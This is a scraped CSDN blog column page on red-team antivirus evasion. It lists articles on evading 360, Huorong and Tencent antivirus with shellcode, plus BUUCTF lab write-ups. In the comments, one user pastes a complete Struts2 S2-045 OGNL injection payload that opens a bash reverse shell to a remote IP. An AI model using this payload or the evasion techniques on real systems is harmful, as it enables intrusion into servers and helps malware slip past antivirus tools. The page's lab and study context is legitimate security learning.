自定义博客皮肤VIP专享

*博客头图：

点击选择上传的图片

格式为PNG、JPG，宽度*高度大于1920*100像素，不超过2MB，主视觉建议放在右侧，请参照线上博客头图

请上传大于1920*100像素的图片！

博客底图：

点击选择上传的图片

图片格式为PNG、JPG，不超过1MB，可上下左右平铺至整个背景

栏目图：

点击选择上传的图片

图片格式为PNG、JPG，图片宽度*高度为300*38像素，不超过0.5MB

主标题颜色：

RGB颜色，例如：#AFAFAF

Hover：

RGB颜色，例如：#AFAFAF

副标题颜色：

RGB颜色，例如：#AFAFAF

预览取消提交

自定义博客皮肤

-+

上一步保存

qq_1873822的博客

exploitsec 优快云认证博客专家优快云认证企业博客

码龄9年

73: 原创

2万+: 周排名

147万+: 总排名

13万+: 访问

: 等级

2170: 积分

3612: 粉丝

263: 获赞

64: 评论

1036: 收藏

私信

关注

热门文章

分类专栏

最新评论

Shellcode免杀，绕过360安全卫士、火绒安全、腾讯管家
2301_79460640: 听君一席话如听一席话
buuctf [struts2]s2-045
破灵宁晓: "%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='echo "bash -i >&/dev/tcp/192.168.116.1/8888 0>&1"|bash').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
buuctf [Rails]CVE-2019-5418
爱游泳的蟹: 在/proc/self/environ下
buuctf [Rails]CVE-2019-5418
^Serendipity*: 我也想知道flag在哪里
buuctf [GlassFish]任意文件读取
八块腹肌的橘猫: 这道题是没有flag的吗

红队免杀技术

关注

文章平均质量分 90

记录一下主要技术

关注数：文章数：1 文章阅读量：19326 文章收藏量：120

作者: exploitsec

脑袋轰一下的炸开

展开

Shellcode免杀，绕过360安全卫士、火绒安全、腾讯管家

前言分享一个傻瓜式直接套用大佬的框架进行shellcode免杀，自己还是萌新还需要学习很多东西，大佬们不喜勿喷杀毒原理360、腾讯电脑管家、火绒剑、金山毒霸、瑞星等等，这几个杀毒软件领头羊，现在的杀毒软件都无法脱离三个部分，扫描器、病毒库、虚拟机。然而一个杀毒软件做的是否好用，最主要的还是扫描器的速度、准确率以及病毒库是否庞大。1.基于特征码的静态扫描技术这种技术很容易被人想到，所以第一代的杀毒软件出现了，他们的杀毒思想就是，我只要匹配到特征字符串就可以判断出来这个文件是一个病毒。但这种方法在当今

原创 2021-08-22 00:10:01 · 19328 阅读 · 6 评论